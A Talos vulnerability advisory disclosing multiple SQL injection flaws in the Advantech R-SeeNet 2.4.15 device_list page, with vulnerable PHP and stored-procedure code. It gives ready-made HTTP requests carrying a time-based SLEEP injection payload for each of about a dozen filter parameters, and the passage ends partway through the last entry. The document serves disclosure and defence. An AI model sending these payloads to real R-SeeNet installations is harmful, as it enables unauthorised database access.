Talos Vulnerability Report

TALOS-2021-1366

Advantech R-SeeNet application multiple SQL injection vulnerabilities in the 'device_list' page

NOVEMBER 22, 2021

CVE NUMBER

CVE-2021-21924,CVE-2021-21925,CVE-21926,CVE-2021-21927,CVE-2021-21928,CVE-2021-21929,CVE-2021-21930,CVE-2021-21931,CVE-2021-21932,CVE-2021-21933,CVE-2021-21934,CVE-2021-21935,CVE-2021-21936,CVE-2021-21937

Summary

Multiple exploitable SQL injection vulnerabilities exist in the ‘device_list’ page of the Advantech R-SeeNet 2.4.15 (30.07.2021). A specially-crafted HTTP request can lead to SQL injection. An attacker can make authenticated HTTP requests to trigger these vulnerabilities. This can be done as any authenticated user or through cross-site request forgery.

Tested Versions

Advantech R-SeeNet Advantech R-SeeNet 2.4.15 (30.07.2021)

Product URLs

https://ep.advantech-bb.cz/products/software/r-seenet

CVSSv3 Score

7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Details

R-SeeNet is the software system used for monitoring Advantech routers. It continuously collects information from individual routers in the network and records the data into a SQL database.

These particular vulnerabilities exists due to misuse of prepared statements in the context of the application, along with stored procedures combined with SQL concatination in such way that variables used to build up an SQL query, despite being initially sanitized, lose that protection when invoked against the database. An example of this can be seen in one of the stored procedures below, where a final prepared statement is simply taken from the @sql variable without specific parameter bindings. This introduces a SQL injection vulnerability into the statement on line 927 below, from the original SQL file used during installation (companies.sql):

```
CREATE DEFINER=`root`@`localhost` PROCEDURE `sp_GetDevicesUser`(params VARCHAR(255), id INT(5))
BEGIN

                                          SET @dev_num = 0;

                                          DROP TABLE IF EXISTS device_list;
            CREATE TEMPORARY TABLE device_list ENGINE=MEMORY SELECT
              @dev_num := @dev_num + 1 as dev_num,


    devices.device_id,
    devices.group_id,
    devices.enabled,
    devices.hostname,
    devices.hostname_alt,
    devices.hostname_alt2,
    devices.community,
    devices.description,
    devices.location,
    devices.coordinates,
    devices.note,
    devices.name,
    devices.product,
    devices.firmware,
    devices.mac,
    devices.sn,
    devices.imei,
    devices.esn,
    devices.last_rx,
    devices.last_tx,
    devices.last_rx2,
    devices.last_tx2,
    devices.last_rx3,
    devices.last_tx3,
    devices.accounting_start,
    devices.accounting_start_alt,
    devices.accounting_start_alt2,
    devices.rx_account,
    devices.tx_account,
    devices.rx_account_alt,
    devices.tx_account_alt,
    devices.rx_account_alt2,
    devices.tx_account_alt2,
    devices.last_connect,
    devices.last_connect2,
    devices.last_connect3,
    devices.cfg_update_time,
    devices.last_status,
    devices.last_level,
    devices.last_quality,
    devices.last_temp,
    devices.last_volt,
    devices.autoupdate,


    IF(devices.health =0,0,IF(devices.health > 0 && (devices.health < max_fails) ,1,2)) as health,
    IF(devices.health_alt =0,0,IF(devices.health_alt > 0 && (devices.health_alt < max_fails) ,1,2)) as health_alt,
    IF(devices.health_alt2 =0,0,IF(devices.health_alt2 > 0 && (devices.health_alt2 < max_fails) ,1,2)) as health_alt2,

    devices.last_time_act,
    devices.last_time_act_alt,
    devices.last_time_act_alt2,
    devices.phone,
    devices.phone_alt,
    devices.period,
    devices.trap,
    devices.read_location,
    devices.read_gps,
    devices.new,
    devices.new_time,
    devices.uptime,
    devices.read_temp_volt,
    devices.num_send_avail,
    devices.num_fails_msg,


              tx_account + rx_account as total,
              tx_account_alt + rx_account_alt as total_alt,
              tx_account_alt2 + rx_account_alt2 as total_alt2,
              groups.description as group_desc,
              groups.level_limit as level_limit,
              groups.traffic_limit as traffic_limit,
              groups.traffic_limit_alt as traffic_limit_alt,
              groups.traffic_limit_alt2 as traffic_limit_alt2,
              groups.temp_limit_lo as temp_limit_lo,
              groups.temp_limit_hi as temp_limit_hi,
              groups.volt_limit_lo as volt_limit_lo,
              groups.volt_limit_hi as volt_limit_hi,
              groups.qual_limit_lo as qual_limit_lo,
              groups.max_fails as max_fails,
                      devices.snmp_prot
            FROM devices, groups WHERE devices.group_id IN (SELECT user_group.group_id FROM user_group WHERE user_group.user_id = id)
AND devices.group_id = groups.group_id ORDER BY device_id;

            SET @sql = CONCAT('SELECT
              dev_num,
              device_id,
              description,
              hostname,
              hostname_alt,
              hostname_alt2,
              location,
              coordinates,
              note,
              enabled,
              product,
              firmware,
              sn,
              imei,
              esn,
              tx_account,
              rx_account,
              total,
              tx_account_alt,
              rx_account_alt,
              total_alt,
              tx_account_alt2,
```

```
893              rx_account_alt2,
894              total_alt2,
895              last_level,
896              last_status,
897              autoupdate,
898              health,
899              health_alt,
900              health_alt2,
901              DATE_FORMAT(last_time_act,"%d-%m-%Y %H:%i"),
902              DATE_FORMAT(last_time_act_alt,"%d-%m-%Y %H:%i"),
903              DATE_FORMAT(last_time_act_alt2,"%d-%m-%Y %H:%i"),
904              trap,
905              mac,
906              group_desc,
907              NULL,
908              uptime,
909              new,
910              last_quality,
911              last_temp,
912              last_volt,
913              level_limit,
914              traffic_limit,
915              traffic_limit_alt,
916              traffic_limit_alt2,
917              temp_limit_lo,
918              temp_limit_hi,
919              volt_limit_lo,
920              volt_limit_hi,
921              qual_limit_lo,
922              name,
923              max_fails,
924                      snmp_prot
925            FROM device_list WHERE ""="" ',params) ;
926
927                                          PREPARE stmt FROM @sql;
928
929                                          EXECUTE stmt;
930
931                                          DEALLOCATE PREPARE stmt;
932
933                                   END$$
```

CVE-2021-21924 - 'desc_filter' parameter

Parameter desc_filter is set as session variable on line 209 of device_list.php as seen below:

```
207   if(isset($_GET['desc_filter']))
208   { // je nastaven filtr description
209     $_SESSION['desc_filter'] = urldecode($_GET['desc_filter']);
210   }
```

Following the above code, a variable is used on line 569 in the following code to build up a SQL query which will get executed on line 869:

```
565   $sql = '';
566
567   if((isset($_SESSION['desc_filter'])) && ($_SESSION['desc_filter'] != ''))
568   {
569     $sql = $sql.'AND description LIKE "%'.mysqli_real_escape_string($link,$_SESSION['desc_filter']).'%" ';
570   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?page=device_list&host_filter=a&health_filter=a&desc_filter=a1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--
%20&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21925 - 'firm_filter' parameter

Parameter firm_filter is set as a session variable on line 265 of device_list.php as seen below:

```
262   if(isset($_GET['firm_filter']))
263   { // je nastaven filtr firmware
264     $_SESSION['firm_filter'] = urldecode($_GET['firm_filter']);
265   }
```

Following the above code, a variable is used on line 609 in the following code to build up a SQL query which will get executed on line 869:

```
607   if((isset($_SESSION['firm_filter'])) && ($_SESSION['firm_filter'] != ''))
608   {
609     $sql = $sql.'AND firmware="'.mysqli_real_escape_string($link,$_SESSION['firm_filter']).'" ';
610   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a1%22%20AND%20(SELECT%201%
20FROM%20(SELECT(SLEEP(5)))a)--%20&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21926 - 'health_filter' parameter

Parameter health_filter is set as a session variable on line 219 of device_list.php as seen below:

```
217   if(isset($_GET['health_filter']))
218   { // je nastaven filtr health
219     $_SESSION['health_filter'] = $_GET['health_filter'];
220   }
```

Following the above code, a variable is used on line 788 in the following code to build up a SQL query which will get executed on line 869:

```
782   list($health_gray) = mysqli_fetch_row($result);
783
784   if((isset($_SESSION['health_filter'])) && ($_SESSION['health_filter'] != ''))
785   {
786     if($_SESSION['health_filter'] != 3)
787     {
788       $sql = $sql.'AND health = "'.mysqli_real_escape_string($link,$_SESSION['health_filter']).'" ';
789     }
790     else
791     { // v pripade, ze filter = 3 hledame routry s priznakem new
792       $sql = $sql.'AND new = "1" ';
793     }
794   }
795
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?page=device_list&host_filter=a&health_filter=a1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--
%20&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21927 - 'loc_filter' parameter

Parameter loc_filter is set as a session variable on line 249 of device_list.php as seen below:

```
247   if(isset($_GET['loc_filter']))
248   { // je nastaven filtr location
249     $_SESSION['loc_filter'] = urldecode($_GET['loc_filter']);
250   }
```

Following the above code, a variable is used on line 594 in the following code to build up a SQL query which will get executed on line 869:

```
592   if((isset($_SESSION['loc_filter'])) && ($_SESSION['loc_filter'] != ''))
593   {
594     $sql = $sql.'AND location LIKE "%'.mysqli_real_escape_string($link,$_SESSION['loc_filter']).'%" ';
595   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=aa1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--
%20&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21928 - 'mac_filter' parameter

Parameter mac_filter is set as a session variable on line 284 of device_list.php as seen below:

```
282   if(isset($_GET['mac_filter']))
283   { // je nastaven filtr MAC
284     $_SESSION['mac_filter'] = urldecode($_GET['mac_filter']);
285   }
```

Following the above code, a variable is used on line 629 in the following code to build up a SQL query which will get executed on line 869:

```
627   if((isset($_SESSION['mac_filter'])) && ($_SESSION['mac_filter'] != ''))
628   {
629     $sql = $sql.'AND mac LIKE "%'.mysqli_real_escape_string($link,$_SESSION['mac_filter']).'%" ';
630   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a
1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21929 - 'prod_filter' parameter

Parameter prod_filter is set as a session variable on line 244 of device_list.php as seen below:

```
242   if(isset($_GET['prod_filter']))
243   { // je nastaven filtr product
244     $_SESSION['prod_filter'] = urldecode($_GET['prod_filter']);
245   }
246
```

Following the above code, a variable is used on line 589 in the following code to build up a SQL query which will get executed on line 869:

```
587   if((isset($_SESSION['prod_filter'])) && ($_SESSION['prod_filter'] != ''))
588   {
589     $sql = $sql.'AND product="'.mysqli_real_escape_string($link,$_SESSION['prod_filter']).'" ';
590   }
591
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a
)--%20&stat_filter=&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21930 - 'sn_filter' parameter

Parameter sn_filter is set as a session variable on line 269 of device_list.php as seen below:

```
267   if(isset($_GET['sn_filter']))
268   { // je nastaven filtr sn
269     $_SESSION['sn_filter'] = urldecode($_GET['sn_filter']);
270   }
271
```

Following the above code, a variable is used on line 614 in the following code to build up a SQL query which will get executed on line 869:

```
612   if((isset($_SESSION['sn_filter'])) && ($_SESSION['sn_filter'] != ''))
613   {
614     $sql = $sql.'AND sn LIKE "%'.mysqli_real_escape_string($link,$_SESSION['sn_filter']).'%" ';
615   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=&firm_filter=a&sn_filter=a1%22%20AND%20(
SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21931 - 'stat_filter' parameter

Parameter mac_filter is set as a session variable on line 259 of device_list.php as seen below:

```
257   if(isset($_GET['stat_filter']))
258   { // je nastaven filtr location
259     $_SESSION['stat_filter'] = urldecode($_GET['stat_filter']);
260   }
```

Following the above code, a variable is used on line 604 in the following code to build up a SQL query which will get executed on line 869:

```
602   if((isset($_SESSION['stat_filter'])) && ($_SESSION['stat_filter'] != ''))
603   {
604     $sql = $sql.'AND last_status="'.mysqli_real_escape_string($link,$_SESSION['stat_filter']).'" ';
605   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a1%22%20AND%20(SELECT%201%20FROM%20(SELE
CT(SLEEP(5)))a)--%20&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21932 - 'name_filter' parameter

Parameter name_filter is set as a session variable on line 294 of device_list.php as seen below:

```
292   if(isset($_GET['name_filter']))
293   { // je nastaven filtr product
294     $_SESSION['name_filter'] = urldecode($_GET['name_filter']);
295   }
```

Following the above code, a variable is used on line 639 in the following code to build up a SQL query which will get executed on line 869:

```
637   if((isset($_SESSION['name_filter'])) && ($_SESSION['name_filter'] != ''))
638   {
639     $sql = $sql.'AND name LIKE "%'.mysqli_real_escape_string($link,$_SESSION['name_filter']).'%" ';
640   }
641
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1a"%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21933 - 'esn_filter' parameter

Parameter esn_filter is set as a session variable on line 279 of device_list.php as seen below:

```
277   if(isset($_GET['esn_filter']))
278   { // je nastaven filtr esn
279     $_SESSION['esn_filter'] = urldecode($_GET['esn_filter']);
280   }
```

Following the above code, a variable is used on line 624 in the following code to build up a SQL query which will get executed on line 869:

```
622   if((isset($_SESSION['esn_filter'])) && ($_SESSION['esn_filter'] != ''))
623   {
624     $sql = $sql.'AND esn LIKE "%'.mysqli_real_escape_string($link,$_SESSION['esn_filter']).'%" ';
625   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a"%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21934 - 'imei_filter' parameter

Parameter imei_filter is set as a session variable on line 274 of device_list.php as seen below:

```
272   if(isset($_GET['imei_filter']))
273   { // je nastaven filtr imei
274     $_SESSION['imei_filter'] = urldecode($_GET['imei_filter']);
275   }
276
```

Following the above code, a variable is used on line 619 in the following code to build up a SQL query which will get executed on line 869:

```
616
617   if((isset($_SESSION['imei_filter'])) && ($_SESSION['imei_filter'] != ''))
618   {
619     $sql = $sql.'AND imei LIKE "%'.mysqli_real_escape_string($link,$_SESSION['imei_filter']).'%" ';
620   }
621
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a&imei_filter="%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21935 - 'host_alt_filter2' parameter

Parameter host_alt_filter2 is set as a session variable on line 234 of device_list.php as seen below:

```
232   if(isset($_GET['host_alt_filter2']))
233   { // je nastaven filtr hostname alt 2
234     $_SESSION['host_alt_filter2'] = urldecode($_GET['host_alt_filter2']);
235   }
236
```

Following the above code, a variable is used on line 584 in the following code to build up a SQL query which will get executed on line 869:

```
582   if((isset($_SESSION['host_alt_filter2'])) && ($_SESSION['host_alt_filter2'] != ''))
583   {
584     $sql = $sql.'AND hostname_alt2 LIKE "%'.mysqli_real_escape_string($link,$_SESSION['host_alt_filter2']).'%" ';
585   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a&imei_filter=a&host_alt_filter2="%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21936 - 'health_alt_filter' parameter

Parameter health_alt_filter is set as a session variable on line 229 of device_list.php as seen below:

```
226
227   if(isset($_GET['health_alt_filter']))
228   { // je nastaven filtr health alt
229     $_SESSION['health_alt_filter'] = $_GET['health_alt_filter'];
230   }
231
```

Following the above code, a variable is used on line 800 in the following code to build up a SQL query which will get executed on line 869:

```
796   if((isset($_SESSION['health_alt_filter'])) && ($_SESSION['health_alt_filter'] != ''))
797   {
798     if( $_SESSION['health_alt_filter'] != 3 )
799     {
800       $sql = $sql.'AND health_alt = "'.mysqli_real_escape_string($link,$_SESSION['health_alt_filter']).'" ';
801     }
802     else
803     { // v pripade, ze filter = 3 hledame routry s priznakem new
804       $sql = $sql.'AND new = "1" ';
805     }
806   }
[...]
